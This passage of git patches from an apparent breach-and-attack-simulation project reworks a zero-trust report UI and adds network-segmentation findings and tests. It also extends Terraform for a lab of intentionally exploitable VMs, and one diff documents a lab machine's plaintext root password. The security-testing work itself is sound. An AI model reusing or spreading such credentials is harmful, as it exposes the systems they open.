different blogs an forums that ReactJS and D3.JS have a DOM - issue conflict, [could find lots of articels at medium.org about that, for example, - https://medium.com/@tibotiber/react-d3-js-balancing-performance-developer-experience-4da35f912484]. - - Since the current component has only a few DOM elements, I don't thing we would have any troubles, - but please keep in mind that I could tweak current version with react-faux-dom. - - Actually, by now, I'm using D3 only for math, for arc path calculations. - -[!] Don't mind about code spacings, it's just for me, the final code would be clear out of them. - -[-] On click, an EXTERNAL callback should be called with the pillar name as a parameter. That is to enable us to expand the click functionality in future without editing the internal implementation of the component. - -[-] planned, [x] done, [!] see comments - -@author Vladimir V KUCHINOV -@email helloworld@vkuchinov.co.uk - -*/ - -const VENN_MIN_WIDTH = '300px'; - -class ResponsiveVennDiagram extends React.Component { - - constructor(props) { super(props); } - render() { - - const {options, pillarsGrades} = this.props; - let childrenWidth = this.props.containerWidth, childrenHeight = this.props.containerHeight; - - if(childrenHeight === 0 || childrenHeight === NaN){ childrenHeight = childrenWidth; } - else{ childrenWidth = Math.min(childrenWidth, childrenHeight) } - - return ( - -
    - -
    ) - - } - -} - -ResponsiveVennDiagram.propTypes = { - - pillarsGrades: PropTypes.array - -} - -export default Dimensions()(ResponsiveVennDiagram); +import { TypographicUtilities } from './Utility.js' +import './VennDiagram.css' class VennDiagram extends React.Component{ @@ -292,15 +133,6 @@ class VennDiagram extends React.Component{ } - relativeCoords (e) { - - let bounds = e.target.getBoundingClientRect(); - var x = e.clientX - bounds.left; - var y = e.clientY - bounds.top; - return {x: x, y: y}; - - } - parseData(){ let self = this; @@ -318,7 +150,7 @@ class VennDiagram extends React.Component{ for(let j = 0; j < self.rules.length; j++){ if(self.rules[j].f(d_)) { rule = j; break; }} self.setLayoutElement(rule, key, html, d_); - data.push(this.layout[key]) + data.push(this.layout[key]); }) @@ -361,7 +193,7 @@ class VennDiagram extends React.Component{ Date: Sun, 25 Aug 2019 18:07:49 +0300 Subject: [PATCH 147/276] Added a custom segmentation finding type --- .../cc/models/zero_trust/finding.py | 2 + .../models/zero_trust/segmentation_finding.py | 52 +++++++++++++++++++ .../zero_trust/test_segmentation_finding.py | 52 +++++++++++++++++++ 3 files changed, 106 insertions(+) create mode 100644 monkey/monkey_island/cc/models/zero_trust/segmentation_finding.py create mode 100644 monkey/monkey_island/cc/models/zero_trust/test_segmentation_finding.py diff --git a/monkey/monkey_island/cc/models/zero_trust/finding.py b/monkey/monkey_island/cc/models/zero_trust/finding.py index 1869d6f18..5454ad9e1 100644 --- a/monkey/monkey_island/cc/models/zero_trust/finding.py +++ b/monkey/monkey_island/cc/models/zero_trust/finding.py @@ -32,6 +32,8 @@ class Finding(Document): test = StringField(required=True, choices=TESTS) status = StringField(required=True, choices=ORDERED_TEST_STATUSES) events = EmbeddedDocumentListField(document_type=Event) + # http://docs.mongoengine.org/guide/defining-documents.html#document-inheritance + meta = {'allow_inheritance': True} # LOGIC def get_test_explanation(self): diff --git a/monkey/monkey_island/cc/models/zero_trust/segmentation_finding.py b/monkey/monkey_island/cc/models/zero_trust/segmentation_finding.py new file mode 100644 index 000000000..428af72cb --- /dev/null +++ b/monkey/monkey_island/cc/models/zero_trust/segmentation_finding.py @@ -0,0 +1,52 @@ +from mongoengine import StringField + +from common.data.zero_trust_consts import TEST_SEGMENTATION, STATUS_CONCLUSIVE, STATUS_POSITIVE +from monkey_island.cc.models.zero_trust.finding import Finding + + +def need_to_overwrite_status(saved_status, new_status): + return (saved_status == STATUS_POSITIVE) and (new_status == STATUS_CONCLUSIVE) + + +class SegmentationFinding(Finding): + """ + trying to add conclusive: + If the finding doesn't exist at all: create conclusive + else: + if positive, turn to conclusive + add event + + trying to add positive: + If the finding doesn't exist at all: create positive + else: add event + """ + first_subnet = StringField() + second_subnet = StringField() + + @staticmethod + def create_or_add_to_existing_finding(subnets, status, segmentation_event): + assert len(subnets) == 2 + + # Sort them so A -> B and B -> A segmentation findings will be the same one. + subnets.sort() + + existing_findings = SegmentationFinding.objects(first_subnet=subnets[0], second_subnet=subnets[1]) + + if len(existing_findings) == 0: + # No finding exists - create. + new_finding = SegmentationFinding( + first_subnet=subnets[0], + second_subnet=subnets[1], + test=TEST_SEGMENTATION, + status=status, + events=[segmentation_event] + ) + new_finding.save() + else: + # A finding exists (should be one). Add the event to it. + assert len(existing_findings) == 1 + existing_finding = existing_findings[0] + existing_finding.events.append(segmentation_event) + if need_to_overwrite_status(existing_finding.status, status): + existing_finding.status = status + existing_finding.save() diff --git a/monkey/monkey_island/cc/models/zero_trust/test_segmentation_finding.py b/monkey/monkey_island/cc/models/zero_trust/test_segmentation_finding.py new file mode 100644 index 000000000..ad3ff9b97 --- /dev/null +++ b/monkey/monkey_island/cc/models/zero_trust/test_segmentation_finding.py @@ -0,0 +1,52 @@ +from common.data.zero_trust_consts import STATUS_CONCLUSIVE, EVENT_TYPE_MONKEY_NETWORK +from monkey_island.cc.models.zero_trust.event import Event +from monkey_island.cc.testing.IslandTestCase import IslandTestCase +from monkey_island.cc.models.zero_trust.segmentation_finding import SegmentationFinding + + +class TestSegmentationFinding(IslandTestCase): + def test_create_or_add_to_existing_finding(self): + self.fail_if_not_testing_env() + self.clean_finding_db() + + first_segment = "1.1.1.0/24" + second_segment = "2.2.2.0-2.2.2.254" + third_segment = "3.3.3.3" + event = Event.create_event("bla", "bla", EVENT_TYPE_MONKEY_NETWORK) + + SegmentationFinding.create_or_add_to_existing_finding( + subnets=[first_segment, second_segment], + status=STATUS_CONCLUSIVE, + segmentation_event=event + ) + + self.assertEquals(len(SegmentationFinding.objects()), 1) + self.assertEquals(len(SegmentationFinding.objects()[0].events), 1) + + SegmentationFinding.create_or_add_to_existing_finding( + # !!! REVERSE ORDER + subnets=[second_segment, first_segment], + status=STATUS_CONCLUSIVE, + segmentation_event=event + ) + + self.assertEquals(len(SegmentationFinding.objects()), 1) + self.assertEquals(len(SegmentationFinding.objects()[0].events), 2) + + SegmentationFinding.create_or_add_to_existing_finding( + # !!! REVERSE ORDER + subnets=[first_segment, third_segment], + status=STATUS_CONCLUSIVE, + segmentation_event=event + ) + + self.assertEquals(len(SegmentationFinding.objects()), 2) + + SegmentationFinding.create_or_add_to_existing_finding( + # !!! REVERSE ORDER + subnets=[second_segment, third_segment], + status=STATUS_CONCLUSIVE, + segmentation_event=event + ) + + self.assertEquals(len(SegmentationFinding.objects()), 3) From 470806f3bc51e90e0381fcf2d7d31c9015a3618b Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Sun, 25 Aug 2019 18:08:21 +0300 Subject: [PATCH 148/276] Added segmentation violation test --- monkey/common/network/segmentation_utils.py | 9 ++- .../cc/services/telemetry/processing/scan.py | 2 + .../zero_trust_tests/segmentation.py | 68 +++++++++++++++++++ 3 files changed, 76 insertions(+), 3 deletions(-) create mode 100644 monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py diff --git a/monkey/common/network/segmentation_utils.py b/monkey/common/network/segmentation_utils.py index 68122f398..97adbd203 100644 --- a/monkey/common/network/segmentation_utils.py +++ b/monkey/common/network/segmentation_utils.py @@ -10,9 +10,12 @@ def get_ip_in_src_and_not_in_dst(ip_addresses, source_subnet, target_subnet): :param target_subnet: Subnet we want an IP to be in. :return: The cross segment IP if in source but not in target, else None. """ - for ip_address in ip_addresses: - if target_subnet.is_in_range(ip_address): - return None + if get_ip_if_in_subnet(ip_addresses, target_subnet) is not None: + return None + return get_ip_if_in_subnet(ip_addresses, source_subnet) + + +def get_ip_if_in_subnet(ip_addresses, source_subnet): for ip_address in ip_addresses: if source_subnet.is_in_range(ip_address): return ip_address diff --git a/monkey/monkey_island/cc/services/telemetry/processing/scan.py b/monkey/monkey_island/cc/services/telemetry/processing/scan.py index 3b532ff22..8ae386388 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/scan.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/scan.py @@ -3,11 +3,13 @@ import copy from monkey_island.cc.database import mongo from monkey_island.cc.services.telemetry.processing.utils import get_edge_by_scan_or_exploit_telemetry from monkey_island.cc.services.telemetry.zero_trust_tests.data_endpoints import test_open_data_endpoints +from monkey_island.cc.services.telemetry.zero_trust_tests.segmentation import test_segmentation_violation def process_scan_telemetry(telemetry_json): update_edges_and_nodes_based_on_scan_telemetry(telemetry_json) test_open_data_endpoints(telemetry_json) + test_segmentation_violation(telemetry_json) def update_edges_and_nodes_based_on_scan_telemetry(telemetry_json): diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py new file mode 100644 index 000000000..ca308aafd --- /dev/null +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py @@ -0,0 +1,68 @@ +import itertools +from six import text_type + +from common.data.zero_trust_consts import STATUS_CONCLUSIVE, EVENT_TYPE_MONKEY_NETWORK +from common.network.network_range import NetworkRange +from common.network.segmentation_utils import get_ip_in_src_and_not_in_dst, get_ip_if_in_subnet +from monkey_island.cc.models import Monkey +from monkey_island.cc.models.zero_trust.event import Event +from monkey_island.cc.models.zero_trust.segmentation_finding import SegmentationFinding +from monkey_island.cc.services.configuration.utils import get_config_network_segments_as_subnet_groups + +SEGMENTATION_VIOLATION_EVENT_TEXT = \ + "Segmentation violation! Monkey on '{hostname}', with the {source_ip} IP address (in segment {source_seg}) " \ + "managed to communicate cross segment to {target_ip} (in segment {target_seg})." + + +def is_segmentation_violation(current_monkey, target_ip, source_subnet, target_subnet): + if source_subnet == target_subnet: + return False + source_subnet_range = NetworkRange.get_range_obj(source_subnet) + target_subnet_range = NetworkRange.get_range_obj(target_subnet) + + if target_subnet_range.is_in_range(text_type(target_ip)): + cross_segment_ip = get_ip_in_src_and_not_in_dst( + current_monkey.ip_addresses, + source_subnet_range, + target_subnet_range) + + return cross_segment_ip is not None + + +def test_segmentation_violation(telemetry_json): + """ + + :param telemetry_json: A SCAN telemetry sent from a Monkey. + """ + # TODO - lower code duplication between this and report.py. + # TODO - single machine + current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid']) + target_ip = telemetry_json['data']['machine']['ip_addr'] + subnet_groups = get_config_network_segments_as_subnet_groups() + for subnet_group in subnet_groups: + subnet_pairs = itertools.product(subnet_group, subnet_group) + for subnet_pair in subnet_pairs: + source_subnet = subnet_pair[0] + target_subnet = subnet_pair[1] + if is_segmentation_violation(current_monkey, target_ip, source_subnet, target_subnet): + event = get_segmentation_violation_event(current_monkey, source_subnet, target_ip, target_subnet) + SegmentationFinding.create_or_add_to_existing_finding( + subnets=[source_subnet, target_subnet], + status=STATUS_CONCLUSIVE, + segmentation_event=event + ) + + +def get_segmentation_violation_event(current_monkey, source_subnet, target_ip, target_subnet): + return Event.create_event( + title="Segmentation event", + message=SEGMENTATION_VIOLATION_EVENT_TEXT.format( + hostname=current_monkey.hostname, + source_ip=get_ip_if_in_subnet(current_monkey.ip_addresses, NetworkRange.get_range_obj(source_subnet)), + source_seg=source_subnet, + target_ip=target_ip, + target_seg=target_subnet + ), + event_type=EVENT_TYPE_MONKEY_NETWORK + ) + From 223adb0f3327938d3f99bf7028232e1bd230355c Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Sun, 25 Aug 2019 18:14:15 +0300 Subject: [PATCH 149/276] Added state function, WIP --- .../monkey_island/cc/services/telemetry/processing/state.py | 5 +++++ .../cc/services/telemetry/zero_trust_tests/segmentation.py | 4 ++++ 2 files changed, 9 insertions(+) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/state.py b/monkey/monkey_island/cc/services/telemetry/processing/state.py index ac8e32939..46176c9b9 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/state.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/state.py @@ -1,4 +1,6 @@ from monkey_island.cc.services.node import NodeService +from monkey_island.cc.services.telemetry.zero_trust_tests.segmentation import \ + test_positive_findings_for_unreached_segments def process_state_telemetry(telemetry_json): @@ -8,3 +10,6 @@ def process_state_telemetry(telemetry_json): NodeService.set_monkey_dead(monkey, True) else: NodeService.set_monkey_dead(monkey, False) + + if telemetry_json['data']['done']: + test_positive_findings_for_unreached_segments(telemetry_json) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py index ca308aafd..647db59fc 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py @@ -66,3 +66,7 @@ def get_segmentation_violation_event(current_monkey, source_subnet, target_ip, t event_type=EVENT_TYPE_MONKEY_NETWORK ) + +def test_positive_findings_for_unreached_segments(telemetry_json): + current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid']) + subnet_groups = get_config_network_segments_as_subnet_groups() From 0a044e2295fcdc09319c45b2cb4d978ac8423c30 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Sun, 25 Aug 2019 18:30:56 +0300 Subject: [PATCH 150/276] Reverted changed to ZT report page and fixed rule bug in diagram + whitespace. --- .../components/pages/ZeroTrustReportPage.js | 201 ++++++++---------- .../zerotrust/PillarOverview.js | 2 +- .../zerotrust/venn-components/VennDiagram.js | 152 +++++-------- 3 files changed, 152 insertions(+), 203 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js index e80af2366..2fe43c42e 100755 --- a/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js @@ -1,64 +1,17 @@ -import React from 'react'; -import {Button, Col} from 'react-bootstrap'; +import React, {Fragment} from 'react'; +import {Col, Grid, Row} from 'react-bootstrap'; import AuthComponent from '../AuthComponent'; import ReportHeader, {ReportTypes} from "../report-components/common/ReportHeader"; -import PillarGrades from "../report-components/zerotrust/PillarGrades"; -import PillarLabel from "../report-components/zerotrust/PillarLabel"; -import ResponsiveVennDiagram from "../report-components/zerotrust/venn-components/ResponsiveVennDiagram"; +import PillarsOverview from "../report-components/zerotrust/PillarOverview"; import FindingsTable from "../report-components/zerotrust/FindingsTable"; -import {SinglePillarRecommendationsStatus} from "../report-components/zerotrust/SinglePillarRecommendationsStatus"; - -let mockup = [ - { - "Conclusive": 4, - "Inconclusive": 0, - "Positive": 1, - "Unexecuted": 2, - "pillar": "Data" - }, - { - "Conclusive": 0, - "Inconclusive": 5, - "Positive": 0, - "Unexecuted": 2, - "pillar": "People" - }, - { - "Conclusive": 0, - "Inconclusive": 0, - "Positive": 6, - "Unexecuted": 3, - "pillar": "Networks" - }, - { - "Conclusive": 2, - "Inconclusive": 0, - "Positive": 1, - "Unexecuted": 1, - "pillar": "Devices" - }, - { - "Conclusive": 0, - "Inconclusive": 0, - "Positive": 0, - "Unexecuted": 0, - "pillar": "Workloads" - }, - { - "Conclusive": 0, - "Inconclusive": 2, - "Positive": 0, - "Unexecuted": 0, - "pillar": "Visibility & Analytics" - }, - { - "Conclusive": 0, - "Inconclusive": 0, - "Positive": 0, - "Unexecuted": 0, - "pillar": "Automation & Orchestration" - } -]; +import SinglePillarDirectivesStatus from "../report-components/zerotrust/SinglePillarDirectivesStatus"; +import MonkeysStillAliveWarning from "../report-components/common/MonkeysStillAliveWarning"; +import ReportLoader from "../report-components/common/ReportLoader"; +import MustRunMonkeyWarning from "../report-components/common/MustRunMonkeyWarning"; +import SecurityIssuesGlance from "../report-components/common/SecurityIssuesGlance"; +import StatusesToPillarsSummary from "../report-components/zerotrust/StatusesToPillarsSummary"; +import PrintReportButton from "../report-components/common/PrintReportButton"; +import {extractExecutionStatusFromServerResponse} from "../report-components/common/ExecutionStatus"; class ZeroTrustReportPageComponent extends AuthComponent { @@ -67,16 +20,30 @@ class ZeroTrustReportPageComponent extends AuthComponent { this.state = { allMonkeysAreDead: false, - runStarted: false + runStarted: true }; } - render() { - let res; - // Todo move to componentDidMount - this.getZeroTrustReportFromServer(res); + componentDidMount() { + this.updateMonkeysRunning().then(res => this.getZeroTrustReportFromServer(res)); + } - const content = this.generateReportContent(); + updateMonkeysRunning = () => { + return this.authFetch('/api') + .then(res => res.json()) + .then(res => { + this.setState(extractExecutionStatusFromServerResponse(res)); + return res; + }); + }; + + render() { + let content; + if (this.state.runStarted) { + content = this.generateReportContent(); + } else { + content = ; + } return ( @@ -92,63 +59,75 @@ class ZeroTrustReportPageComponent extends AuthComponent { let content; if (this.stillLoadingDataFromServer()) { - content = "Still empty"; + content = ; } else { - const pillarsSection =
    -

    Pillars Overview

    - -
    ; - - const recommendationsSection =

    Recommendations Status

    - { - this.state.recommendations.map((recommendation) => - - ) - } -
    ; - - const findingSection =

    Findings

    -
    ; - - content =
    - {pillarsSection} - {recommendationsSection} - {findingSection} + content =
    + {this.generateOverviewSection()} + {this.generateDirectivesSection()} + {this.generateFindingsSection()}
    ; } return ( -
    -
    - + +
    + {print();}} />

    {content} -
    -
    {JSON.stringify(this.state.pillars, undefined, 2)}
    -
    - -
    {JSON.stringify(this.state.recommendations, undefined, 2)}
    -
    -
    {JSON.stringify(this.state.findings, undefined, 2)}
    -
    +
    + {print();}} /> +
    + ) } - stillLoadingDataFromServer() { - return typeof this.state.findings === "undefined" || typeof this.state.pillars === "undefined" || typeof this.state.recommendations === "undefined"; + generateFindingsSection() { + return (
    +

    Findings

    + +
    ); } - print() { - alert("unimplemented"); + generateDirectivesSection() { + return (
    +

    Directives

    + { + Object.keys(this.state.directives).map((pillar) => + + ) + } +
    ); + } + + generateOverviewSection() { + return (
    +

    Overview

    + + + + + + + + + + + + +
    ); + } + + stillLoadingDataFromServer() { + return typeof this.state.findings === "undefined" || typeof this.state.pillars === "undefined" || typeof this.state.directives === "undefined"; } getZeroTrustReportFromServer() { @@ -160,11 +139,11 @@ class ZeroTrustReportPageComponent extends AuthComponent { findings: res }); }); - this.authFetch('/api/report/zero_trust/recommendations') + this.authFetch('/api/report/zero_trust/directives') .then(res => res.json()) .then(res => { this.setState({ - recommendations: res + directives: res }); }); this.authFetch('/api/report/zero_trust/pillars') @@ -175,6 +154,14 @@ class ZeroTrustReportPageComponent extends AuthComponent { }); }); } + + anyIssuesFound() { + const severe = function(finding) { + return (finding.status === "Conclusive" || finding.status === "Inconclusive"); + }; + + return this.state.findings.some(severe); + } } export default ZeroTrustReportPageComponent; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarOverview.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarOverview.js index f772e0652..824885cad 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarOverview.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarOverview.js @@ -1,7 +1,7 @@ import React, {Component} from "react"; import PillarLabel from "./PillarLabel"; import * as PropTypes from "prop-types"; -import ResponsiveVennDiagram from "./VennDiagram"; +import ResponsiveVennDiagram from "./venn-components/ResponsiveVennDiagram"; const columns = [ { diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/VennDiagram.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/VennDiagram.js index 0f154cdfe..1e0be3b16 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/VennDiagram.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/VennDiagram.js @@ -7,31 +7,29 @@ import { TypographicUtilities } from './Utility.js' import './VennDiagram.css' class VennDiagram extends React.Component{ - - constructor(props_){ - - super(props_); - - this.state = { tooltip: { top: 0, left: 0, display: 'none', html: '' } } - - this.width = this.height = 512, this.zOrder = []; - + constructor(props_){ + super(props_); + + this.state = { tooltip: { top: 0, left: 0, display: 'none', html: '' } }; + + this.width = this.height = 512; + this.zOrder = []; + this.colors = ['#777777', '#D9534F', '#F0AD4E', '#5CB85C']; this.prefix = 'vennDiagram'; this.suffices = ['', '|tests are|conclusive', '|tests were|inconclusive', '|tests|performed']; this.fontStyles = [{size: Math.max(9, this.width / 32), color: 'white'}, {size: Math.max(6, this.width / 52), color: 'black'}]; this.offset = this.width / 16; - - this.thirdWidth = this.width / 3; + + this.thirdWidth = this.width / 3; this.sixthWidth = this.width / 6; - this.width2By7 = 2 * this.width / 7 + this.width2By7 = 2 * this.width / 7; this.width1By11 = this.width / 11; this.width1By28 = this.width / 28; - + this.toggle = false; - + this.layout = { - Data: { cx: 0, cy: 0, r: this.thirdWidth - this.offset * 2, offset: {x: 0, y: 0} }, People: { cx: -this.width2By7, cy: 0, r: this.sixthWidth, offset: {x: this.width1By11, y: 0} }, Networks: { cx: this.width2By7, cy: 0, r: this.sixthWidth, offset: {x: -this.width1By11, y: 0} }, @@ -39,15 +37,14 @@ class VennDiagram extends React.Component{ Workloads : { cx: 0, cy: -this.width2By7, r: this.sixthWidth, offset: {x: 0, y: this.width1By11} }, VisibilityAndAnalytics : { inner: this.thirdWidth - this.width1By28, outer: this.thirdWidth }, AutomationAndOrchestration: { inner: this.thirdWidth - this.width1By28 * 2, outer: this.thirdWidth - this.width1By28 } - }; - + /* RULE #1: All scores have to be equal 0, except Unexecuted [U] which could be also a negative integer - sum(C, I, P, U) has to be <=0 + sum(C, I, P) has to be <=0 - RULE #2: Conclusive [C] has to be > 0, + RULE #2: Conclusive [C] has to be > 0, sum(C) > 0 RULE #3: Inconclusive [I] has to be > 0 while Conclusive has to be 0, @@ -62,185 +59,150 @@ class VennDiagram extends React.Component{ this.rules = [ - { id: 'Rule #1', f: function(d_){ return d_['Conclusive'] + d_['Inconclusive'] + d_['Positive'] + d_['Unexecuted'] <= 0; } }, + { id: 'Rule #1', f: function(d_){ return d_['Conclusive'] + d_['Inconclusive'] + d_['Positive'] === 0; } }, { id: 'Rule #2', f: function(d_){ return d_['Conclusive'] > 0; } }, { id: 'Rule #3', f: function(d_){ return d_['Conclusive'] === 0 && d_['Inconclusive'] > 0; } }, { id: 'Rule #4', f: function(d_){ return d_['Positive'] + d_['Unexecuted'] >= 2 && d_['Positive'] * d_['Unexecuted'] > 0; } } ]; - - - this._onScroll = this._onScroll.bind(this); - - } - - componentDidMount() { + this._onScroll = this._onScroll.bind(this); + } + + componentDidMount() { this.parseData(); window.addEventListener('scroll', this._onScroll); - } _onMouseMove(e) { - let self = this; - + if(!this.toggle){ - let hidden = 'none'; let html = ''; let bcolor = '#DEDEDE'; - + document.querySelectorAll('circle, path').forEach((d_, i_) => { d_.setAttribute('opacity', 0.8)}); - - if(e.target.id.includes('Node')) { + + if(e.target.id.includes('Node')) { html = e.target.dataset.tooltip; this.divElement.style.cursor = 'pointer'; - hidden = 'block'; e.target.setAttribute('opacity', 0.95); + hidden = 'block'; e.target.setAttribute('opacity', 0.95); bcolor = e.target.getAttribute('fill'); - - //set highest z-index + + // Set highest z-index e.target.parentNode.parentNode.appendChild(e.target.parentNode); }else{ this.divElement.style.cursor = 'default'; - - //return z indices to default + + // Return z indices to default Object.keys(this.layout).forEach(function(d_, i_){ document.querySelector('#' + self.prefix).appendChild(document.querySelector('#' + self.prefix + 'Node_' + i_).parentNode); }) } this.setState({target: e, tooltip: { target: e.target, bcolor: bcolor, top: e.clientY + 8, left: e.clientX + 8, display: hidden, html: html } }); - } } _onScroll(e){ - this.divElement.style.cursor = 'default'; this.setState({target: null, tooltip: { target: null, bcolor: 'none', top: 0, left: 0, display: 'none', html: '' } }); - } _onClick(e) { + this.toggle = this.state.tooltip.target === e.target; - if(this.state.tooltip.target === e.target) { this.toggle = true; } else { this.toggle = false; } - //variable to external callback //e.target.parentNode.id) - } parseData(){ - let self = this; let data = []; const omit = (prop, { [prop]: _, ...rest }) => rest; this.props.pillarsGrades.forEach((d_, i_) => { - + let params = omit('pillar', d_); - let sum = Object.keys(params).reduce((sum_, key_) => sum_ + parseFloat(params[key_]||0), 0); + let sum = Object.keys(params).reduce((sum_, key_) => sum_ + parseFloat(params[key_]||0), 0); let key = TypographicUtilities.removeAmpersand(d_.pillar); let html = self.buildTooltipHtmlContent(d_); let rule = null; - + for(let j = 0; j < self.rules.length; j++){ if(self.rules[j].f(d_)) { rule = j; break; }} self.setLayoutElement(rule, key, html, d_); data.push(this.layout[key]); - - }) - - this.setState({ data: data }); - this.render(); + }); + + this.setState({ data: data }); + this.render(); } - + buildTooltipHtmlContent(object_){ return Object.keys(object_).reduce((out_, key_) => out_ + TypographicUtilities.setTitle(key_) + ': ' + object_[key_] + '\n', ''); } setLayoutElement(rule_, key_, html_, d_){ - + console.log(rule_, key_, html_, d_); if(rule_ == null) { throw Error('The node scores are invalid'); } - + if(key_ === 'Data'){ this.layout[key_].fontStyle = this.fontStyles[0]; } else {this.layout[key_].fontStyle = this.fontStyles[1]; } - - this.layout[key_].hex = this.colors[rule_]; - this.layout[key_].label = d_.pillar + this.suffices[rule_]; + + this.layout[key_].hex = this.colors[rule_]; + this.layout[key_].label = d_.pillar + this.suffices[rule_]; this.layout[key_].node = d_; this.layout[key_].tooltip = html_; - } render() { - if(this.state.data === undefined) { return null; } - else { - - //equivalent to center translate (width/2, height/2) + else { + // equivalent to center translate (width/2, height/2) let viewPortParameters = (-this.width / 2) + ' ' + (-this.height / 2) + ' ' + this.width + ' ' + this.height; let translate = 'translate(' + this.width /2 + ',' + this.height/2 + ')'; - let nodes = Object.values(this.layout).map((d_, i_) =>{ - - if(d_.hasOwnProperty('cx')){ - + let nodes = Object.values(this.layout).map((d_, i_) => { + if(d_.hasOwnProperty('cx')) { return ( - ); - - }else{ - + } else { d_.label = TypographicUtilities.removeBrokenBar(d_.label); - + return ( - ); - } - }); - - return ( + return (
    this.divElement = divElement} onMouseMove={this._onMouseMove.bind(this)} onClick={this._onClick.bind(this)} > - + {nodes} - - -
    - + + +
    ) - } - } - } VennDiagram.propTypes = { - pillarsGrades: PropTypes.array - -} +}; -export default VennDiagram; \ No newline at end of file +export default VennDiagram; From 4d8cd768fcaee0cef69e6a49e9c47c951303e2c7 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Sun, 25 Aug 2019 18:33:21 +0300 Subject: [PATCH 151/276] Updated monkeyzoo images and added tunneling-11 --- envs/monkey_zoo/docs/fullDocs.md | 36 +++++++++++++++++++++++++ envs/monkey_zoo/terraform/images.tf | 20 ++++++++------ envs/monkey_zoo/terraform/monkey_zoo.tf | 33 +++++++++++++++++++++-- 3 files changed, 79 insertions(+), 10 deletions(-) diff --git a/envs/monkey_zoo/docs/fullDocs.md b/envs/monkey_zoo/docs/fullDocs.md index b792b16f4..4f795af45 100644 --- a/envs/monkey_zoo/docs/fullDocs.md +++ b/envs/monkey_zoo/docs/fullDocs.md @@ -500,6 +500,42 @@ fullTest.conf is a good config to start, because it covers all machines. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

    Nr. 11 Tunneling M3

    +

    (10.2.0.11)

    (Exploitable)
    OS:Ubuntu 16.04.05 x64
    Software:OpenSSL
    Default service’s port:22
    Root password:3Q=(Ge(+&w]*
    Server’s config:Default
    Notes:Accessible only trough Nr.10
    + diff --git a/envs/monkey_zoo/terraform/images.tf b/envs/monkey_zoo/terraform/images.tf index 4677d0c1b..dccbe16dd 100644 --- a/envs/monkey_zoo/terraform/images.tf +++ b/envs/monkey_zoo/terraform/images.tf @@ -26,23 +26,27 @@ data "google_compute_image" "shellshock-8" { project = "${local.monkeyzoo_project}" } data "google_compute_image" "tunneling-9" { - name = "tunneling-9-v2" + name = "tunneling-9" project = "${local.monkeyzoo_project}" } data "google_compute_image" "tunneling-10" { - name = "tunneling-10-v2" + name = "tunneling-10" + project = "${local.monkeyzoo_project}" +} +data "google_compute_image" "tunneling-11" { + name = "tunneling-11" project = "${local.monkeyzoo_project}" } data "google_compute_image" "sshkeys-11" { - name = "sshkeys-11-v2" + name = "sshkeys-11" project = "${local.monkeyzoo_project}" } data "google_compute_image" "sshkeys-12" { - name = "sshkeys-12-v2" + name = "sshkeys-12" project = "${local.monkeyzoo_project}" } data "google_compute_image" "mimikatz-14" { - name = "mimikatz-14-v2" + name = "mimikatz-14" project = "${local.monkeyzoo_project}" } data "google_compute_image" "mimikatz-15" { @@ -58,7 +62,7 @@ data "google_compute_image" "weblogic-18" { project = "${local.monkeyzoo_project}" } data "google_compute_image" "weblogic-19" { - name = "weblogic-19-v2" + name = "weblogic-19" project = "${local.monkeyzoo_project}" } data "google_compute_image" "smb-20" { @@ -78,7 +82,7 @@ data "google_compute_image" "struts2-23" { project = "${local.monkeyzoo_project}" } data "google_compute_image" "struts2-24" { - name = "struts-24-v2" + name = "struts2-24" project = "${local.monkeyzoo_project}" } data "google_compute_image" "island-linux-250" { @@ -88,4 +92,4 @@ data "google_compute_image" "island-linux-250" { data "google_compute_image" "island-windows-251" { name = "island-windows-251" project = "${local.monkeyzoo_project}" -} \ No newline at end of file +} diff --git a/envs/monkey_zoo/terraform/monkey_zoo.tf b/envs/monkey_zoo/terraform/monkey_zoo.tf index e0b97822f..dccbf7fa8 100644 --- a/envs/monkey_zoo/terraform/monkey_zoo.tf +++ b/envs/monkey_zoo/terraform/monkey_zoo.tf @@ -15,6 +15,11 @@ resource "google_compute_network" "tunneling" { auto_create_subnetworks = false } +resource "google_compute_network" "tunneling2" { + name = "tunneling2" + auto_create_subnetworks = false +} + resource "google_compute_subnetwork" "monkeyzoo-main" { name = "monkeyzoo-main" ip_cidr_range = "10.2.2.0/24" @@ -27,6 +32,12 @@ resource "google_compute_subnetwork" "tunneling-main" { network = "${google_compute_network.tunneling.self_link}" } +resource "google_compute_subnetwork" "tunneling2-main" { + name = "tunneling2-main" + ip_cidr_range = "10.2.0.0/27" + 